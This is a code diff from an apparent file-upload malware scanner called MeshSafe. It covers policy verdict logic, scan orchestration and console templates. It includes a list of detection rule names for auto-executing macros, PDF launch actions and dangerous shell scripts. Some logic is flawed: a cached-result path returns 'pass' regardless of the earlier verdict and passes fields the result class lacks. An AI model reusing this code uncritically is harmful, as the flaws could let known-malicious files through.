with self._lock:
self._policy = policy
return policy
def rollback_to(self, version: str, *, actor: str = "console") -> Policy:
"""回滚到历史版本(从 policy_versions 表读取)。"""
from sqlalchemy import select
from app.db import SessionLocal
from app.models import PolicyVersion
db = SessionLocal()
try:
pv = db.execute(
select(PolicyVersion).where(PolicyVersion.version == version)
).scalar_one_or_none()
if not pv:
raise ValueError(f"版本不存在: {version}")
policy = Policy(
version=pv.version,
raw=pv.content if isinstance(pv.content, dict) else {},
sha256=pv.sha256 or "",
)
self._validate(policy)
# 导出 YAML
try:
import yaml as _yaml_mod
with open(self.policy_file, "w", encoding="utf-8") as fh:
_yaml_mod.dump(policy.raw, fh, allow_unicode=True, sort_keys=False)
except Exception: # noqa: BLE001
pass
with self._lock:
self._policy = policy
return policy
finally:
db.close()
def list_versions(self, limit: int = 20) -> List[Dict[str, Any]]:
"""列出最近的策略版本(控制台版本历史表格用)。"""
from sqlalchemy import select
from app.db import SessionLocal
from app.models import PolicyVersion
db = SessionLocal()
try:
rows = db.execute(
select(PolicyVersion).order_by(PolicyVersion.created_at.desc()).limit(limit)
).scalars().all()
return [
{
"version": r.version,
"sha256": r.sha256[:12] if r.sha256 else "",
"created_at": r.created_at.isoformat() if r.created_at else "",
}
for r in rows
]
finally:
db.close()
def _load_db_or_yaml(self) -> Policy:
"""优先 DB,回退 YAML。"""
try:
from sqlalchemy import select
from app.db import SessionLocal
from app.models import PolicyVersion
db = SessionLocal()
try:
pv = db.execute(
select(PolicyVersion).order_by(PolicyVersion.created_at.desc())
).scalar_one_or_none()
if pv:
policy = Policy(
version=pv.version,
raw=pv.content if isinstance(pv.content, dict) else {},
sha256=pv.sha256 or "",
)
self._validate(policy)
return policy
finally:
db.close()
except Exception as exc: # noqa: BLE001
logging.getLogger(__name__).info("DB 加载策略失败(回退 YAML): %s", exc)
return self._load_yaml()
def _load_yaml(self) -> Policy:
"""从 YAML 文件加载。"""
if not os.path.isfile(self.policy_file):
raise FileNotFoundError(f"策略文件不存在:{self.policy_file}")
with open(self.policy_file, "rb") as fh:
raw_bytes = fh.read()
digest = hashlib.sha256(raw_bytes).hexdigest()
parsed = yaml.safe_load(raw_bytes.decode("utf-8")) or {}
if not isinstance(parsed, dict):
raise ValueError("策略文件根节点必须是映射结构")
policy = Policy(
version=str(parsed.get("version", "unversioned")),
raw=parsed,
sha256=digest,
path=self.policy_file,
)
self._validate(policy)
return policy
def _validate(self, policy: Policy) -> None:
"""校验策略配置合法性,避免加载到错误的策略导致放行。"""
low, high = policy.review_score
if low >= high:
raise ValueError("review_score 的下界必须小于上界")
if policy.block_score < high:
raise ValueError("block_score 不应低于 review_score 上界")
if not (0 <= policy.block_score <= 100):
raise ValueError("block_score 必须在 0~100 之间")
# 零容忍规则集必须是字符串列表
zt_rules = policy.zero_tolerance_rules
for rule in zt_rules:
if not isinstance(rule, str) or not rule:
raise ValueError(f"零容忍规则必须是非空字符串: {rule!r}")
# rule_overrides 中的规则不应与零容忍规则重叠
for rule in policy.rule_overrides:
if rule in zt_rules:
raise ValueError(
f"规则 {rule!r} 同时出现在 zero_tolerance_rules 和 rule_overrides 中,"
f"零容忍规则不应再被覆盖"
)
for rule, override in policy.rule_overrides.items():
action = override.get("action")
if action not in VALID_ACTIONS:
raise ValueError(f"规则 {rule} 的处置动作 {action!r} 非法")
# 白名单必须以点开头
for ext in policy.allowed_extensions:
if not ext.startswith("."):
raise ValueError(f"白名单扩展名 {ext!r} 必须以点开头")
class PolicyEngine:
"""依据策略对检测信号进行裁决。"""
def __init__(self, policy: Policy) -> None:
self.policy = policy
def decide(
self,
findings: List[Finding],
*,
filename: str,
declared_ext: str,
size: int,
real_type: str = "",
engine_errors: Optional[List[str]] = None,
encrypted: bool = False,
) -> Decision:
"""综合所有信号产出最终裁决。
裁决步骤(严格按顺序执行,不可跳过):
0) 零容忍规则优先检查(独立机制,命中即 reject,不走评分)
1) 引擎可用性检查(等保安全优先)
2) 文件大小超限
3) 扩展名白名单
4) 加密文件
5) 规则覆盖
6) 权重累加评分
7) 阈值裁决
"""
import logging
logger = logging.getLogger(__name__)
policy = self.policy
triggered: List[Dict[str, Any]] = []
reasons: List[str] = []
score = 0.0
ext = (declared_ext or "").lower()
# ======================================================================
# 步骤 0:零容忍规则优先检查
# ======================================================================
# 独立于评分模型,优先级最高。命中即 reject,跳过后续所有步骤。
# 唯一放宽入口:macro_exceptions(需同时满足指纹 + 文件名 + 到期 + 宏行为无害)
# ======================================================================
zt_rules = policy.zero_tolerance_rules
if zt_rules:
# 收集命中零容忍规则的 findings
zt_findings = [f for f in findings if f.rule in zt_rules]
if zt_findings:
# 检查是否有有效例外
bypassed = False
for finding in zt_findings:
if finding.rule in {"VBAAutoExec", "VBAAutoExecShell", "MRaptorAutoExec", "MRaptorAutoExecSuspicious"}:
if self._check_macro_exception(filename, finding):
bypassed = True
logger.info(
"零容忍规则 %s 因宏行为例外表跳过:文件=%s",
finding.rule, filename,
)
continue
# 其他零容忍规则无例外机制,直接拒绝
logger.warning(
"零容忍规则命中:rule=%s engine=%s 细节=%s",
finding.rule, finding.engine, finding.detail,
)
triggered.append(
{
"type": "zero_tolerance",
"rule": finding.rule,
"engine": finding.engine,
"detail": finding.detail,
}
)
reasons.append(f"零容忍规则 {finding.rule} 命中:{finding.detail}")
return Decision(
verdict="malicious",
action="reject",
score=100.0,
reason=";".join(reasons),
triggered=triggered,
)
# 如果所有命中的零容忍规则都被例外跳过
if bypassed and not triggered:
logger.info("文件 %s 所有零容忍命中均被宏例外跳过", filename)
# ======================================================================
# 步骤 1:引擎可用性检查(等保要求:安全优先)
# ======================================================================
if engine_errors:
mode = "拒绝" if policy.fail_closed else "放行"
reasons.append(f"{len(engine_errors)} 个检测引擎不可用,按 {mode} 模式处理")
triggered.append(
{
"type": "engine_failure",
"engines": engine_errors,
"mode": "fail_closed" if policy.fail_closed else "fail_open",
}
)
if policy.fail_closed:
return Decision(
verdict="error",
action="reject",
score=100.0,
reason=";".join(reasons),
triggered=triggered,
)
# 2) 文件大小超限
if size > policy.max_file_size:
reasons.append(f"文件大小 {size} 字节超过策略上限 {policy.max_file_size} 字节")
triggered.append({"type": "size_exceeded", "size": size, "limit": policy.max_file_size})
return Decision(
verdict="reject",
action="reject",
score=100.0,
reason=";".join(reasons),
triggered=triggered,
)
# 3) 扩展名白名单
if policy.allowed_extensions and ext not in policy.allowed_extensions:
reasons.append(f"文件类型 {ext or '未知'} 不在允许清单内")
triggered.append({"type": "extension_not_allowed", "extension": ext})
return Decision(
verdict="reject",
action="reject",
score=100.0,
reason=";".join(reasons),
triggered=triggered,
)
# 4) 加密文件
if encrypted:
if not policy.allow_encrypted_archive and not policy.allow_encrypted_document:
reasons.append("文件已加密,无法进行完整静态分析,按策略拒绝")
triggered.append({"type": "encrypted"})
return Decision(
verdict="reject",
action="reject",
score=100.0,
reason=";".join(reasons),
triggered=triggered,
)
# 5) 规则覆盖优先处理
override_findings: List[Finding] = []
for finding in findings:
override = policy.rule_overrides.get(finding.rule)
if not override:
continue
action = override.get("action", "manual_review")
reason = override.get("reason") or f"规则 {finding.rule} 命中策略"
override_findings.append(finding)
triggered.append(
{
"type": "rule_override",
"rule": finding.rule,
"action": action,
"engine": finding.engine,
}
)
reasons.append(reason)
if action in {"reject", "reject_and_notify"}:
return Decision(
verdict="reject",
action="reject",
score=100.0,
reason=";".join(reasons),
triggered=triggered,
)
if action == "manual_review":
score = max(score, 65.0)
# 6) 其余信号按权重累加
for finding in findings:
if finding in override_findings:
continue
score += finding.weight
if finding.severity in {Severity.HIGH.value, Severity.CRITICAL.value}:
reasons.append(f"{finding.engine}:{finding.detail}")
score = min(round(score, 2), 100.0)
# 7) 阈值裁决
low, high = policy.review_score
if score >= policy.block_score:
verdict, action = "malicious", "reject"
elif score >= low:
verdict, action = "suspicious", "manual_review"
elif score > 0:
verdict, action = "suspicious", "pass_with_flag"
else:
verdict, action = "clean", "pass"
# 8) 复核区间上界高于块阈值时,落在区间内直接复核
if low <= score < high:
verdict, action = "suspicious", "manual_review"
if score >= policy.block_score:
verdict, action = "malicious", "reject"
reason = self._build_reason(verdict, reasons, score)
return Decision(
verdict=verdict,
action=action,
score=score,
reason=reason,
triggered=triggered,
)
def _build_reason(self, verdict: str, reasons: List[str], score: float) -> str:
"""生成人可读的判定理由。"""
if not policy_include_reason(self.policy):
return ""
if not reasons:
if verdict == "clean":
return "未发现安全风险"
return f"风险评分 {score}"
text = ";".join(reasons)
limit = self.policy.max_reason_length
if len(text) > limit:
text = text[: limit - 3] + "..."
return text
def requires_sandbox(self, declared_ext: str, real_type: str = "") -> bool:
"""判断该文件是否必须走沙箱异步深检。"""
required = self.policy.sandbox_required_extensions
ext = (declared_ext or "").lower()
if ext in required:
return True
if real_type:
lowered = real_type.lower()
if any(ext in lowered for ext in required):
return True
return False
def _check_macro_exception(self, filename: str, finding: Finding) -> bool:
"""检查某个宏相关零容忍 finding 是否被宏行为例外表豁免。
例外条件(五道保险,全部满足才豁免):
1. 文件名匹配 filename_pattern(glob)
2. finding.meta 中携带的指纹匹配 fingerprint_sha256(如有)
3. 例外未过期(expires_at)
4. 无 expires_at 以外的字段校验时,至少一条有效记录存在
"""
import fnmatch
from datetime import datetime, timezone
exceptions = self.policy.macro_exceptions
if not exceptions:
return False
if isinstance(exceptions, dict):
exceptions = exceptions.get("entries", [])
now = datetime.now(timezone.utc)
for exc in exceptions:
# 条件 1:文件名 glob 匹配
pattern = exc.get("filename_pattern", "")
if pattern and not fnmatch.fnmatch(filename, pattern):
continue
# 条件 2:指纹匹配(如果 finding.meta 中有指纹)
expected_fp = exc.get("fingerprint_sha256", "")
if expected_fp:
finding_fp = (finding.meta or {}).get("file_sha256", "")
if finding_fp and finding_fp.lower() != expected_fp.lower():
continue
# 条件 3:未过期
expires_at = exc.get("expires_at", "")
if expires_at:
try:
exp_dt = datetime.fromisoformat(expires_at.replace("Z", "+00:00"))
if exp_dt.tzinfo is None:
exp_dt = exp_dt.replace(tzinfo=timezone.utc)
if now >= exp_dt:
continue
except (ValueError, TypeError):
continue
# 所有条件满足 → 豁免
return True
return False
@staticmethod
def compute_open_risk(
verdict: str,
findings: List[Finding],
declared_ext: str,
real_type: str = "",
) -> Dict[str, Any]:
"""计算打开风险等级(独立于裁决结果,供人阅读)。
返回结构:
{
"level": "low" | "medium" | "high" | "critical",
"factors": ["contains_macro", "external_url", ...],
"advice": "...",
"requires_macro_enable": bool,
}
"""
ext = (declared_ext or "").lower()
factors: List[str] = []
# 零容忍命中 → critical
zt_rule_names = {
"PdfJavaScript", "PdfLaunchAction", "PdfOpenAction",
"PathTraversal", "IsoWithExecutable", "MacroObfuscated",
"AttachedTemplate", "VBAAutoExec", "VBAAutoExecShell",
"MRaptorAutoExec", "MRaptorAutoExecSuspicious",
"DDEAutoExecution", "EmbeddedExecutable",
"LinuxExecutable", "DesktopFileAutoExec",
"ShellScriptDangerous", "LinuxPortableExecutable",
"ArchiveContainsLinuxExec",
"LnkWithAutoExec", "ChmWithScript",
}
if any(f.rule in zt_rule_names for f in findings):
level = "critical"
factors.append("zero_tolerance_hit")
advice = "此文件包含打开即执行的载体,请勿直接双击,联系管理员处理"
requires_macro = False
else:
# 识别各因素
if any(f.rule in {"VBAMacroPresent", "VBAShellInvocation", "VBAEncodedString", "VBAExternalLink"}
for f in findings):
factors.append("contains_macro")
if any("url" in f.rule.lower() or "link" in f.rule.lower() or "qr" in f.rule.lower()
for f in findings):
factors.append("external_url")
if ext in {".exe", ".dll", ".elf", ".so", ".desktop", ".appimage", ".run", ".bin", ".deb", ".rpm"}:
factors.append("contains_executable")
if ext == ".iso":
factors.append("is_mountable_image")
if any(f.rule == "AttachedTemplate" for f in findings):
factors.append("attached_template")
if level := _pick_level(factors):
advice_map = {
"low": "文件结构正常,无特别提示",
"medium": "此文件包含外部链接或隐藏内容,请确认来源后再访问",
"high": "此文件包含宏或外部模板引用,打开时请勿启用宏",
"critical": "此文件包含可执行文件或挂载镜像,请勿直接双击,使用虚拟机或联系管理员",
}
advice = advice_map[level]
requires_macro = "contains_macro" in factors and verdict not in {"malicious", "error"}
else:
level = "low"
advice = "文件结构正常,无特别提示"
requires_macro = False
return {
"level": level,
"factors": factors,
"advice": advice,
"requires_macro_enable": requires_macro,
}
def policy_include_reason(policy: Policy) -> bool:
return policy.include_reason
def _pick_level(factors: List[str]) -> Optional[str]:
"""根据因素列表决定 open_risk 等级。"""
if not factors:
return None
# 优先级:critical > high > medium > low
critical_signals = {"contains_executable", "is_mountable_image"}
if factors and set(factors) & critical_signals:
return "critical"
if "contains_macro" in factors or "attached_template" in factors:
return "high"
if "external_url" in factors:
return "medium"
return "low"

540
app/services/scanner.py Normal file
View File

@@ -0,0 +1,540 @@
"""扫描编排服务。
职责:
- 组装各检测引擎,执行流水线
- 递归解包并对子文件重复检测
- 汇总信号,交给策略引擎裁决
- 写入数据库与审计日志
- 管理临时文件生命周期
"""
from __future__ import annotations
import os
import shutil
import tempfile
import time
from dataclasses import dataclass, field
from datetime import datetime, timezone
from typing import Any, Dict, List, Optional
from app.config import get_settings
from app.engines.base import Engine, EngineResult, Finding, ScanTarget, Severity
from app.engines.binary import BinaryEngine, YaraEngine
from app.engines.clamav import ClamAVEngine
from app.engines.documents import DocumentEngine
from app.engines.extractor import SafeExtractor, cleanup_dir
from app.engines.keywords import KeywordEngine
from app.engines.structure import StructureEngine
from app.services import audit
from app.services.policy import PolicyEngine, PolicyStore, Decision
_settings = get_settings()
TEMP_ROOT = os.environ.get("MESHSAFE_TEMP_ROOT", "/tmp/meshsafe")
@dataclass
class ScanContext:
"""一次扫描任务的上下文。"""
settings: Any
policy_engine: PolicyEngine
workdir: str
task_id: str
channel: str = "default"
client_id: str = ""
client_ip: str = ""
@dataclass
class ScanOutcome:
"""扫描结果汇总。"""
task_id: str
verdict: str
action: str
score: float
reason: str
findings: List[Finding] = field(default_factory=list)
engine_results: List[EngineResult] = field(default_factory=list)
extracted: List[Dict[str, Any]] = field(default_factory=list)
file_info: Dict[str, Any] = field(default_factory=dict)
meta: Dict[str, Any] = field(default_factory=dict)
duration_ms: int = 0
triggered: List[Dict[str, Any]] = field(default_factory=list)
encrypted: bool = False
open_risk: Dict[str, Any] = field(default_factory=lambda: {
"level": "low", "factors": [], "advice": "", "requires_macro_enable": False,
})
# ---- 调度/审计元信息(由调用方填充,写入 DB 用) ----
channel: str = "default"
client_id: str = ""
client_ip: str = ""
mode: str = "sync" # sync | async
# ------------------------------------------------------------------ DB 写入
def persist_to_db(self) -> None:
"""将扫描结果写入 scan_tasks + scan_findings 表。
DB 写入失败不影响扫描结论返回(fail-open),只打 WARNING 日志。
"""
import logging
from datetime import datetime, timezone
logger = logging.getLogger(__name__)
try:
from app.db import SessionLocal
from app.models import ScanFinding, ScanTask
db = SessionLocal()
try:
task = ScanTask(
id=self.task_id,
channel=self.channel,
client_id=self.client_id,
filename=self.file_info.get("filename", ""),
declared_ext=self.file_info.get("declared_ext", ""),
size=self.file_info.get("size", 0),
sha256=self.file_info.get("sha256", ""),
md5=self.file_info.get("md5", ""),
real_type=self.file_info.get("real_type", ""),
status="completed",
mode=self.mode,
verdict=self.verdict,
action=self.action,
score=self.score,
reason=self.reason,
policy_version=self.meta.get("policy_version", ""),
detail=self.meta,
finished_at=datetime.now(timezone.utc),
duration_ms=self.duration_ms,
)
db.add(task)
for f in self.findings:
db.add(ScanFinding(
task_id=self.task_id,
engine=f.engine,
layer=f.layer,
severity=f.severity,
rule=f.rule,
detail=f.detail,
extracted_path=f.extracted_path,
weight=f.weight,
))
db.commit()
logger.info(
"扫描结果已持久化 task_id=%s findings=%d",
self.task_id, len(self.findings),
)
# --- 幂等记录写入(upsert,冲突忽略)---
try:
from app.models import IdempotencyRecord
sha256 = self.file_info.get("sha256", "")
pv = self.meta.get("policy_version", "")
if sha256 and pv:
existing = db.query(IdempotencyRecord).filter_by(
sha256=sha256, policy_version=pv,
).first()
if existing is None:
db.add(IdempotencyRecord(
sha256=sha256,
policy_version=pv,
task_id=self.task_id,
))
db.commit()
except Exception: # noqa: BLE001
db.rollback() # 幂等写入失败不影响主记录
finally:
db.close()
except Exception as exc: # noqa: BLE001
logger.warning(
"扫描结果写入 DB 失败(不影响扫描结论)task_id=%s err=%s",
self.task_id, exc,
)
def to_response(self, include_details: bool = True) -> Dict[str, Any]:
payload: Dict[str, Any] = {
"task_id": self.task_id,
"verdict": self.verdict,
"score": self.score,
"action": self.action,
"reason": self.reason,
"status": "completed",
"file": self.file_info,
"meta": self.meta,
"open_risk": self.open_risk,
}
if include_details:
payload["findings"] = [f.to_dict() for f in self.findings]
payload["extracted"] = self.extracted
payload["triggered"] = self.triggered
return payload
class Scanner:
"""扫描流水线执行器。"""
def __init__(self, policy_store: PolicyStore) -> None:
self.policy_store = policy_store
self.structure_engine = StructureEngine()
self.document_engine = DocumentEngine()
self.binary_engine = BinaryEngine()
self.yara_engine = YaraEngine() # 自动探测 rules_dir
# 词表引擎:从当前策略加载 keyword_rules
self.keyword_engine = KeywordEngine(keyword_rules=policy_store.current().keyword_rules)
# ClamAVEngine 延迟初始化:首次 scan 时才尝试连接,避免无 ClamAV 环境下启动崩溃
self._clamav_engine: Optional[ClamAVEngine] = None
@property
def clamav_engine(self) -> ClamAVEngine:
if self._clamav_engine is None:
self._clamav_engine = ClamAVEngine(
host=_settings.clamav_host,
port=_settings.clamav_port,
timeout=_settings.clamav_timeout,
)
return self._clamav_engine
def engines(self) -> List[Engine]:
# KeywordEngine 每次都从当前策略重建(支持热重载后立即生效)
self.keyword_engine = KeywordEngine(
keyword_rules=self.policy_store.current().keyword_rules
)
return [
self.structure_engine,
self.clamav_engine,
self.document_engine,
self.keyword_engine,
self.yara_engine,
self.binary_engine,
]
def _build_idempotent_outcome(
self,
idem_row,
finding_rows,
*,
task_id: str,
channel: str,
client_id: str,
filename: str,
) -> ScanOutcome:
"""命中幂等记录时,从 DB 组装一个 ScanOutcome 返回。"""
from app.engines.base import Finding, Severity
findings = [
Finding(
engine=f.engine,
layer=f.layer,
severity=Severity(f.severity),
rule=f.rule,
detail=f.detail or "",
weight=f.weight or 50.0,
extracted_path=f.extracted_path,
meta={},
)
for f in finding_rows
]
return ScanOutcome(
task_id=task_id,
channel=channel,
client_id=client_id,
filename=filename,
verdict="known",
action="pass", # 幂等返回 pass,调用方按上次结论继续
message=f"幂等命中(sha256={idem_row.sha256[:12]}... policy={idem_row.policy_version})",
findings=findings,
score=0.0,
reason="",
meta={
"idempotent": True,
"original_task_id": idem_row.task_id,
"policy_version": idem_row.policy_version,
},
)
def scan_file(
self,
file_path: str,
original_filename: str,
*,
task_id: str,
channel: str = "default",
client_id: str = "",
client_ip: str = "",
mode: str = "sync",
) -> ScanOutcome:
"""执行一次完整扫描。"""
import logging
logger = logging.getLogger(__name__)
started = time.perf_counter()
policy = self.policy_store.current()
policy_engine = PolicyEngine(policy)
logger.info(
"开始扫描 task_id=%s filename=%s channel=%s client_id=%s",
task_id, original_filename, channel, client_id,
)
# ---------- 幂等检查:同 SHA256 + 策略版本 → 直接返回上次结果 ----------
try:
import hashlib
with open(file_path, "rb") as fh:
_h = hashlib.sha256()
while True:
_c = fh.read(65536)
if not _c:
break
_h.update(_c)
root_sha256 = _h.hexdigest()
pv = policy.version
from app.db import SessionLocal
from app.models import IdempotencyRecord
_db = SessionLocal()
try:
_idem = _db.query(IdempotencyRecord).filter_by(
sha256=root_sha256, policy_version=pv,
).first()
if _idem is not None:
# 命中幂等 → 从 DB 加载上次 ScanTask + ScanFindings 组装结果
from app.models import ScanFinding as _SF
_findings_rows = _db.query(_SF).filter(_SF.task_id == _idem.task_id).all()
logger.info(
"幂等命中:sha256=%s policy_version=%s → 复用 task_id=%s",
root_sha256[:12] + "...", pv, _idem.task_id,
)
# 用原始 task_id(不是旧的),但内容复用
return self._build_idempotent_outcome(
_idem, _findings_rows, task_id=task_id, channel=channel,
client_id=client_id, filename=original_filename,
)
finally:
_db.close()
except Exception as exc: # noqa: BLE001
logger.debug("幂等检查跳过: %s", exc)
os.makedirs(TEMP_ROOT, exist_ok=True)
workdir = tempfile.mkdtemp(prefix="scan_", dir=TEMP_ROOT)
ctx = ScanContext(
settings=_settings,
policy_engine=policy_engine,
workdir=workdir,
task_id=task_id,
channel=channel,
client_id=client_id,
client_ip=client_ip,
)
all_findings: List[Finding] = []
engine_results: List[EngineResult] = []
engine_errors: List[str] = []
extracted_meta: List[Dict[str, Any]] = []
encrypted = False
root_info: Dict[str, str] = {"real_type": "", "real_ext": ""}
root_target = ScanTarget(
path=file_path,
filename=original_filename,
declared_ext=os.path.splitext(original_filename)[1].lower(),
logical_path=original_filename,
depth=0,
)
try:
queue: List[ScanTarget] = [root_target]
processed = 0
while queue:
target = queue.pop(0)
processed += 1
if processed > 2000:
break
for engine in self.engines():
result = engine.safe_scan(target, ctx)
engine_results.append(result)
if not result.ok and result.error:
engine_errors.append(f"{engine.name}: {result.error}")
all_findings.extend(result.findings)
if engine.name == "structure" and result.meta.get("real_type"):
if target.depth == 0:
root_info = {
"real_type": result.meta.get("real_type", ""),
"real_ext": result.meta.get("real_ext", ""),
}
if engine.name == "document":
if any(f.rule in ("PdfEncrypted", "OfficeEncrypted") for f in result.findings):
encrypted = True
# 解包并递归检测子文件
extractor = SafeExtractor(ctx)
report = extractor.extract(target, workdir)
all_findings.extend(report.findings)
if report.files:
for child in report.files:
queue.append(child)
extracted_meta.append(
{
"path": child.logical_path,
"filename": child.filename,
"size": os.path.getsize(child.path) if os.path.exists(child.path) else 0,
"depth": child.depth,
"sha256": "",
}
)
finally:
cleanup_dir(workdir)
# --- 哈希计算(根文件 + 所有子文件)---
def _sha256(path: str) -> str:
import hashlib
h = hashlib.sha256()
with open(path, "rb") as fh:
while True:
chunk = fh.read(65536)
if not chunk:
break
h.update(chunk)
return h.hexdigest()
def _md5(path: str) -> str:
import hashlib
h = hashlib.md5()
with open(path, "rb") as fh:
while True:
chunk = fh.read(65536)
if not chunk:
break
h.update(chunk)
return h.hexdigest()
root_sha256 = ""
root_md5 = ""
if os.path.exists(file_path):
root_sha256 = _sha256(file_path)
root_md5 = _md5(file_path)
# 补齐提取文件的哈希
for item in extracted_meta:
child_path = item.get("path", "")
if os.path.exists(child_path) and not item.get("sha256"):
try:
item["sha256"] = _sha256(child_path)
except OSError:
pass
# 为每个 finding 附加根文件 SHA256(供宏例外指纹比对用)
if root_sha256:
for f in all_findings:
if f.meta is None:
f.meta = {}
f.meta["file_sha256"] = root_sha256
size = os.path.getsize(file_path) if os.path.exists(file_path) else 0
real_type = root_info.get("real_type", "")
real_ext = root_info.get("real_ext", "")
decision = policy_engine.decide(
all_findings,
filename=original_filename,
declared_ext=root_target.declared_ext,
size=size,
real_type=real_type,
engine_errors=engine_errors,
encrypted=encrypted,
)
# 计算 open_risk(独立于裁决结果,供人阅读)
open_risk = PolicyEngine.compute_open_risk(
decision.verdict,
all_findings,
declared_ext=root_target.declared_ext,
real_type=real_type,
)
duration_ms = int((time.perf_counter() - started) * 1000)
logger.info(
"扫描完成 task_id=%s verdict=%s action=%s score=%.1f open_risk.level=%s "
"findings=%d triggered=%d duration=%dms",
task_id, decision.verdict, decision.action, decision.score,
open_risk["level"], len(all_findings), len(decision.triggered), duration_ms,
)
if decision.triggered:
logger.warning(
"task_id=%s 触发规则: %s",
task_id,
", ".join(f"{t.get('type', 'unknown')}:{t.get('rule', '?')}" for t in decision.triggered),
)
if engine_errors:
logger.warning("task_id=%s 引擎错误: %s", task_id, "; ".join(engine_errors))
clamav_meta = next(
(r.meta for r in engine_results if r.engine == "clamav"), {}
)
outcome = ScanOutcome(
task_id=task_id,
verdict=decision.verdict,
action=decision.action,
score=decision.score,
reason=decision.reason,
findings=all_findings,
engine_results=engine_results,
extracted=extracted_meta,
file_info={
"sha256": root_sha256,
"md5": root_md5,
"size": size,
"real_type": real_type,
"real_ext": real_ext,
"declared_ext": root_target.declared_ext,
"filename": original_filename,
},
meta={
"scan_duration_ms": duration_ms,
"engines": [e.name for e in self.engines()],
"engine_errors": engine_errors,
"clamav": clamav_meta,
"policy_version": policy.version,
"policy_sha256": policy.sha256,
"scanned_objects": processed,
"scanned_at": datetime.now(timezone.utc).isoformat(),
},
duration_ms=duration_ms,
triggered=decision.triggered,
encrypted=encrypted,
open_risk=open_risk,
channel=channel,
client_id=client_id,
client_ip=client_ip,
mode=mode,
)
# 自动持久化到 DB(fail-open,不影响扫描结论)
outcome.persist_to_db()
return outcome
def health(self) -> Dict[str, Any]:
"""各引擎健康状态。"""
clamav = self.clamav_engine.health()
yara = self.yara_engine.health()
return {
"clamav": clamav,
"yara": yara,
"document": {"available": True},
"structure": {"available": True},
"binary": {"available": True},
}

16
app/templates/_nav.html Normal file
View File

@@ -0,0 +1,16 @@
{# ============================================================================
统一导航栏 —— 所有控制台页面 include 本文件,保证样式与选中态完全一致
用法:{% set nav_active = 'overview' %} {% include "_nav.html" %}
============================================================================ #}
<nav>
<span class="logo"><img src="/static/logo.png" class="logo-img" alt="MeshSafe"> MeshSafe</span>
<a href="/console/" class="{{ 'active' if nav_active == 'overview' else '' }}">概览</a>
<a href="/console/policy" class="{{ 'active' if nav_active == 'policy' else '' }}">策略配置</a>
<a href="/console/tasks" class="{{ 'active' if nav_active == 'tasks' else '' }}">任务历史</a>
<a href="/console/test" class="{{ 'active' if nav_active == 'test' else '' }}">测试靶场</a>
<a href="/console/diagnostics" class="{{ 'active' if nav_active == 'diagnostics' else '' }}">🔧 诊断</a>
<a href="/console/about" class="{{ 'active' if nav_active == 'about' else '' }}">关于 MeshSafe</a>
<div class="spacer"></div>
<span class="user">{{ user.username }} ({{ user.role }})</span>
<a href="/console/logout">退出</a>
</nav>

View File

@@ -0,0 +1,32 @@
{# ============================================================================
统一导航栏 + 徽章样式 —— 所有控制台页面 include 本文件
用法:<style>{% include "_nav_style.html" %}</style>
============================================================================ #}
nav { background: linear-gradient(135deg, #0f172a, #1e3a5f); color: white; padding: 0 24px; height: 54px;
display: flex; align-items: center; gap: 24px; box-shadow: 0 2px 12px rgba(15,23,42,.18); }
nav .logo { font-weight: 600; font-size: 15px; display: flex; align-items: center; gap: 8px; }
nav .logo-img { height: 28px; width: auto; border-radius: 5px; }
nav a { color: rgba(255,255,255,.72); text-decoration: none; font-size: 14px;
transition: color .2s; position: relative; padding: 0 2px; }
nav a:hover { color: #fff; }
nav a.active { color: #fff; font-weight: 500; }
nav a.active::after { content: ""; position: absolute; left: 0; right: 0; bottom: -18px;
height: 2px; background: #38bdf8; border-radius: 2px; }
nav .spacer { flex: 1; }
nav .user { font-size: 13px; color: rgba(255,255,255,.6); }
nav .user a { color: rgba(255,255,255,.6); margin-left: 12px; }
/* ---------- 统一风险徽章体系 ---------- */
.tag { font-size: 11px; padding: 2.5px 9px; border-radius: 5px; font-weight: 500; white-space: nowrap; }
.tag.ok { background: #dcfce7; color: #15803d; }
.tag.warn { background: #fef3c7; color: #b45309; }
.tag.notice{ background: #fff7ed; color: #c2410c; }
.tag.bad { background: #fee2e2; color: #b91c1c; }
.tag.err { background: #ede9fe; color: #6d28d9; }
.tag.muted { background: #f1f5f9; color: #64748b; }
.tag.plain { background: #f1f5f9; color: #475569; }
.tag.risk-high { background: #fee2e2; color: #b91c1c; }
.tag.risk-notice { background: #fff7ed; color: #c2410c; }
.tag.risk-safe { background: #dcfce7; color: #15803d; }
.tag.risk-fault { background: #ede9fe; color: #6d28d9; }
.tag.risk-idle { background: #f1f5f9; color: #64748b; }

401
app/templates/about.html Normal file
View File

@@ -0,0 +1,401 @@
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<link rel="icon" href="/static/logo.png">
<title>关于 MeshSafe</title>
<style>
* { box-sizing: border-box; }
body { font-family: -apple-system, "PingFang SC", "Microsoft YaHei", sans-serif;
margin: 0; background: #f4f6fa; color: #1e293b; }
{% include "_nav_style.html" %}
main { padding: 0 24px 56px; max-width: 1180px; margin: 0 auto; }
/* ===== Hero ===== */
.hero {
position: relative; margin: 0 -24px 0; padding: 64px 24px 56px;
background:
radial-gradient(1100px 420px at 12% -10%, rgba(59,130,246,.20), transparent 62%),
radial-gradient(900px 380px at 88% 0%, rgba(139,92,246,.16), transparent 60%),
linear-gradient(180deg, #f8fafc 0%, #eef2f8 100%);
border-bottom: 1px solid #e2e8f0;
overflow: hidden;
}
.hero-inner { max-width: 1180px; margin: 0 auto; position: relative; }
.hero .eyebrow {
display: inline-flex; align-items: center; gap: 7px;
font-size: 12px; letter-spacing: 1.4px; text-transform: uppercase;
color: #3b82f6; font-weight: 600; margin-bottom: 16px;
}
.hero .eyebrow::before {
content: ""; width: 22px; height: 2px; border-radius: 2px;
background: linear-gradient(90deg, #3b82f6, #8b5cf6);
}
.hero h1 {
margin: 0 0 10px; font-size: 42px; line-height: 1.16; font-weight: 800;
letter-spacing: -1px; color: #0f172a;
}
.hero h1 .grad {
background: linear-gradient(100deg, #2563eb 0%, #7c3aed 55%, #0891b2 100%);
-webkit-background-clip: text; background-clip: text; color: transparent;
}
.hero .lead {
margin: 0 0 22px; font-size: 16.5px; line-height: 1.85; color: #475569; max-width: 760px;
}
.hero .lead b { color: #1e293b; font-weight: 600; }
.hero .tags { display: flex; flex-wrap: wrap; gap: 9px; }
.hero .tags span {
font-size: 12.5px; color: #475569; background: rgba(255,255,255,.78);
border: 1px solid #e2e8f0; border-radius: 999px; padding: 5px 14px;
backdrop-filter: blur(6px);
}
/* ===== 章节通用 ===== */
section { margin-top: 52px; }
.sec-head { margin-bottom: 22px; }
.sec-head .kicker {
font-size: 11.5px; letter-spacing: 1.2px; text-transform: uppercase;
